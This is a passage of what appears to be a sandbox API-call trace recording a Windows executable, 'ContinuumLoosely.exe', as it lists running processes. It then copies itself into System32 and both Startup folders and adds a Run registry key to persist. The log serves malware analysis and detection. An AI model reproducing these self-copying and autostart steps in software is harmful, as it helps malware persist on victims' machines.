out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="brazilian river delay.exe")) returned 1 [0034.563] lstrlenW (lpString="brazilian river delay.exe") returned 25 [0034.563] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sn featured.exe")) returned 1 [0034.563] lstrlenW (lpString="sn featured.exe") returned 15 [0034.563] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edgar_academic_dvd.exe")) returned 1 [0034.563] lstrlenW (lpString="edgar_academic_dvd.exe") returned 22 [0034.563] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="floor_relate_welfare.exe")) returned 1 [0034.564] lstrlenW (lpString="floor_relate_welfare.exe") returned 24 [0034.564] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0034.564] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0034.564] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ContinuumLoosely.exe")) returned 1 [0034.564] lstrlenW (lpString="ContinuumLoosely.exe") returned 20 [0034.564] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0034.564] lstrlenW (lpString="mobsync.exe") returned 11 [0034.564] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0034.565] lstrlenW (lpString="dllhost.exe") returned 11 [0034.565] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0034.565] CloseHandle (hObject=0x2c0) returned 1 [0034.565] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e2b00 | out: hHeap=0x790000) returned 1 [0034.565] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e2b90 | out: hHeap=0x790000) returned 1 [0034.565] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x803c88 | out: hHeap=0x790000) returned 1 [0034.565] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x803ca8 | out: hHeap=0x790000) returned 1 [0034.565] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7def90 | out: hHeap=0x790000) returned 1 [0034.565] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7fc810 | out: hHeap=0x790000) returned 1 [0034.565] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x803c28 | out: hHeap=0x790000) returned 1 [0034.565] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x803c48 | out: hHeap=0x790000) returned 1 [0034.565] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806450 | out: hHeap=0x790000) returned 1 [0034.565] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x8064a0 | out: hHeap=0x790000) returned 1 [0034.565] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x803c68 | out: hHeap=0x790000) returned 1 [0034.565] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x8064c8 | out: hHeap=0x790000) returned 1 [0034.565] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x8670b0 [0034.565] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x8770b8 [0034.566] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7fc810 [0034.566] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fc810, Size=0x20) returned 0x8064c8 [0034.566] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x8064c8, Size=0x40) returned 0x7e2b90 [0034.566] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7fc810 [0034.566] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fc810, Size=0x20) returned 0x8064c8 [0034.566] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7fc810 [0034.566] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fc810, Size=0x20) returned 0x8064a0 [0034.566] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7fc810 [0034.566] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fc810, Size=0x20) returned 0x806450 [0034.566] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x806450, Size=0x40) returned 0x7e2b00 [0034.566] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x8770b8, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ContinuumLoosely.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\continuumloosely.exe")) returned 0x3a [0034.566] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x3280048 [0034.566] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x3290050 [0034.567] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7fc810 [0034.567] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fc810, Size=0x20) returned 0x806450 [0034.567] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x806450, Size=0x40) returned 0x7e2c20 [0034.567] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7e2c20, Size=0x80) returned 0x32a0058 [0034.567] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a0058, Size=0x100) returned 0x32a0058 [0034.567] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0034.567] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x32a0058 | out: hHeap=0x790000) returned 1 [0034.567] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\ContinuumLoosely.exe", lpDst=0x3280048, nSize=0x7fff | out: lpDst="C:\\Windows\\System32\\ContinuumLoosely.exe") returned 0x29 [0034.567] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3290050 | out: hHeap=0x790000) returned 1 [0034.567] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3280048 | out: hHeap=0x790000) returned 1 [0034.567] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x100000) returned 0x3380020 [0034.567] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7fc810 [0034.567] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fc810, Size=0x20) returned 0x806450 [0034.567] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7fc810 [0034.567] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fc810, Size=0x20) returned 0x8065e0 [0034.568] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0034.568] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0034.568] Wow64DisableWow64FsRedirection (in: OldValue=0x18e498 | out: OldValue=0x18e498*=0x0) returned 1 [0034.568] lstrlenW (lpString="kernel32.dll") returned 12 [0034.568] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806450 | out: hHeap=0x790000) returned 1 [0034.568] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0034.568] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x8065e0 | out: hHeap=0x790000) returned 1 [0034.568] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ContinuumLoosely.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\continuumloosely.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0034.568] CreateFileW (lpFileName="C:\\Windows\\System32\\ContinuumLoosely.exe" (normalized: "c:\\windows\\system32\\continuumloosely.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0034.569] ReadFile (in: hFile=0x2c0, lpBuffer=0x3380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18e494, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x18e494*=0xd4400, lpOverlapped=0x0) returned 1 [0034.583] WriteFile (in: hFile=0x2c4, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xd4400, lpNumberOfBytesWritten=0x18e494, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x18e494*=0xd4400, lpOverlapped=0x0) returned 1 [0034.599] ReadFile (in: hFile=0x2c0, lpBuffer=0x3380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18e494, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x18e494*=0x0, lpOverlapped=0x0) returned 1 [0034.599] CloseHandle (hObject=0x2c4) returned 1 [0034.607] CloseHandle (hObject=0x2c0) returned 1 [0034.608] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7fc810 [0034.608] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fc810, Size=0x20) returned 0x8065e0 [0034.608] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7fc810 [0034.608] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fc810, Size=0x20) returned 0x806450 [0034.608] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0034.608] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0034.608] Wow64DisableWow64FsRedirection (in: OldValue=0x18e498 | out: OldValue=0x18e498*=0x1) returned 1 [0034.608] lstrlenW (lpString="kernel32.dll") returned 12 [0034.608] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806450 | out: hHeap=0x790000) returned 1 [0034.608] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0034.608] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x8065e0 | out: hHeap=0x790000) returned 1 [0034.608] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3380020 | out: hHeap=0x790000) returned 1 [0034.611] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7fc810 [0034.611] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fc810, Size=0x20) returned 0x8065e0 [0034.611] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x8065e0, Size=0x40) returned 0x7e2c20 [0034.611] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7e2c20, Size=0x80) returned 0x8870c0 [0034.611] lstrlenW (lpString="C:\\Windows\\System32\\ContinuumLoosely.exe") returned 40 [0034.611] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0034.611] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x5c) returned 0x7db270 [0034.611] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18e468 | out: phkResult=0x18e468*=0x2c0) returned 0x0 [0034.611] RegSetValueExW (in: hKey=0x2c0, lpValueName="ContinuumLoosely.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\ContinuumLoosely.exe", cbData=0x50 | out: lpData="C:\\Windows\\System32\\ContinuumLoosely.exe") returned 0x0 [0034.612] RegCloseKey (hKey=0x2c0) returned 0x0 [0034.612] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7db270 | out: hHeap=0x790000) returned 1 [0034.612] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0034.612] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x8870c0 | out: hHeap=0x790000) returned 1 [0034.612] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x3280048 [0034.612] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x3290050 [0034.612] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7fc810 [0034.612] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fc810, Size=0x20) returned 0x8065e0 [0034.612] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x8065e0, Size=0x40) returned 0x7e2c20 [0034.612] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7e2c20, Size=0x80) returned 0x32a0058 [0034.612] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a0058, Size=0x100) returned 0x32a0058 [0034.612] lstrlenW (lpString="") returned 0 [0034.612] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0034.612] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8c) returned 0x32a0160 [0034.612] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18e414 | out: phkResult=0x18e414*=0x2c0) returned 0x0 [0034.612] RegQueryValueExW (in: hKey=0x2c0, lpValueName="Startup", lpReserved=0x0, lpType=0x18e420, lpData=0x3290050, lpcbData=0x18e44c*=0x7fff | out: lpType=0x18e420*=0x0, lpData=0x3290050*=0x53, lpcbData=0x18e44c*=0x7fff) returned 0x2 [0034.612] RegCloseKey (hKey=0x2c0) returned 0x0 [0034.612] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x32a0160 | out: hHeap=0x790000) returned 1 [0034.612] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0034.612] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8c) returned 0x32a0160 [0034.612] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18e414 | out: phkResult=0x18e414*=0x2c0) returned 0x0 [0034.612] RegQueryValueExW (in: hKey=0x2c0, lpValueName="Startup", lpReserved=0x0, lpType=0x18e420, lpData=0x3290050, lpcbData=0x18e44c*=0x7fff | out: lpType=0x18e420*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18e44c*=0x98) returned 0x0 [0034.612] RegCloseKey (hKey=0x2c0) returned 0x0 [0034.612] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x32a0160 | out: hHeap=0x790000) returned 1 [0034.613] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0034.613] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0034.613] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x32a0058 | out: hHeap=0x790000) returned 1 [0034.613] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ContinuumLoosely.exe", lpDst=0x3280048, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ContinuumLoosely.exe") returned 0x71 [0034.613] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3290050 | out: hHeap=0x790000) returned 1 [0034.613] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3280048 | out: hHeap=0x790000) returned 1 [0034.613] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x100000) returned 0x3380020 [0034.613] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7fc810 [0034.613] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fc810, Size=0x20) returned 0x8065e0 [0034.613] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7fc810 [0034.613] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fc810, Size=0x20) returned 0x806450 [0034.613] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0034.613] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0034.613] Wow64DisableWow64FsRedirection (in: OldValue=0x18e498 | out: OldValue=0x18e498*=0x1) returned 1 [0034.613] lstrlenW (lpString="kernel32.dll") returned 12 [0034.613] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x8065e0 | out: hHeap=0x790000) returned 1 [0034.613] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0034.613] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806450 | out: hHeap=0x790000) returned 1 [0034.613] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ContinuumLoosely.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\continuumloosely.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0034.614] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ContinuumLoosely.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\continuumloosely.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0034.616] ReadFile (in: hFile=0x2c0, lpBuffer=0x3380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18e494, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x18e494*=0xd4400, lpOverlapped=0x0) returned 1 [0034.625] WriteFile (in: hFile=0x2c4, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xd4400, lpNumberOfBytesWritten=0x18e494, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x18e494*=0xd4400, lpOverlapped=0x0) returned 1 [0034.639] ReadFile (in: hFile=0x2c0, lpBuffer=0x3380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18e494, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x18e494*=0x0, lpOverlapped=0x0) returned 1 [0034.639] CloseHandle (hObject=0x2c4) returned 1 [0034.646] CloseHandle (hObject=0x2c0) returned 1 [0034.646] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7fc810 [0034.646] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fc810, Size=0x20) returned 0x806450 [0034.646] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7fc810 [0034.646] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fc810, Size=0x20) returned 0x8065e0 [0034.646] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0034.646] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0034.646] Wow64DisableWow64FsRedirection (in: OldValue=0x18e498 | out: OldValue=0x18e498*=0x1) returned 1 [0034.646] lstrlenW (lpString="kernel32.dll") returned 12 [0034.646] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x8065e0 | out: hHeap=0x790000) returned 1 [0034.646] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0034.646] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806450 | out: hHeap=0x790000) returned 1 [0034.647] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3380020 | out: hHeap=0x790000) returned 1 [0034.649] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x3280048 [0034.649] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x3290050 [0034.649] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7fc810 [0034.649] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fc810, Size=0x20) returned 0x806450 [0034.649] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x806450, Size=0x40) returned 0x7e2c20 [0034.649] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7e2c20, Size=0x80) returned 0x32a0058 [0034.649] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a0058, Size=0x100) returned 0x32a0058 [0034.649] lstrlenW (lpString="") returned 0 [0034.649] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0034.649] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8c) returned 0x32a0160 [0034.649] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18e414 | out: phkResult=0x18e414*=0x2c0) returned 0x0 [0034.649] RegQueryValueExW (in: hKey=0x2c0, lpValueName="Common Startup", lpReserved=0x0, lpType=0x18e420, lpData=0x3290050, lpcbData=0x18e44c*=0x7fff | out: lpType=0x18e420*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18e44c*=0x78) returned 0x0 [0034.649] RegCloseKey (hKey=0x2c0) returned 0x0 [0034.649] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x32a0160 | out: hHeap=0x790000) returned 1 [0034.649] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0034.649] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0034.650] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x32a0058 | out: hHeap=0x790000) returned 1 [0034.650] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ContinuumLoosely.exe", lpDst=0x3280048, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ContinuumLoosely.exe") returned 0x52 [0034.650] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3290050 | out: hHeap=0x790000) returned 1 [0034.650] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3280048 | out: hHeap=0x790000) returned 1 [0034.650] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x100000) returned 0x3380020 [0034.650] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7fc810 [0034.650] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fc810, Size=0x20) returned 0x806450 [0034.650] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7fc810 [0034.650] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fc810, Size=0x20) returned 0x8065e0 [0034.650] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0034.650] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0034.650] Wow64DisableWow64FsRedirection (in: OldValue=0x18e498 | out: OldValue=0x18e498*=0x1) returned 1 [0034.650] lstrlenW (lpString="kernel32.dll") returned 12 [0034.650] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806450 | out: hHeap=0x790000) returned 1 [0034.650] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0034.650] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x8065e0 | out: hHeap=0x790000) returned 1 [0034.650] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ContinuumLoosely.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\continuumloosely.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0034.651] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ContinuumLoosely.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\continuumloosely.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0034.652] ReadFile (in: hFile=0x2c0, lpBuffer=0x3380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18e494, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x18e494*=0xd4400, lpOverlapped=0x0) returned 1 [0034.662] WriteFile (in: hFile=0x2c4, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xd4400, lpNumberOfBytesWritten=0x18e494, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x18e494*=0xd4400, lpOverlapped=0x0) returned 1 [0034.674] ReadFile (in: hFile=0x2c0, lpBuffer=0x3380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18e494, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x18e494*=0x0, lpOverlapped=0x0) returned 1 [0034.674] CloseHandle (hObject=0x2c4) returned 1 [0034.680] CloseHandle (hObject=0x2c0) returned 1 [0034.680] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7fc810 [0034.680] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fc810, Size=0x20) returned 0x8065e0 [0034.680] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7fc810 [0034.680] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fc810, Size=0x20) returned 0x806450 [0034.681] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0034.681] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0034.681] Wow64DisableWow64FsRedirection (in: OldValue=0x18e498 | out: OldValue=0x18e498*=0x1) returned 1 [0034.681] 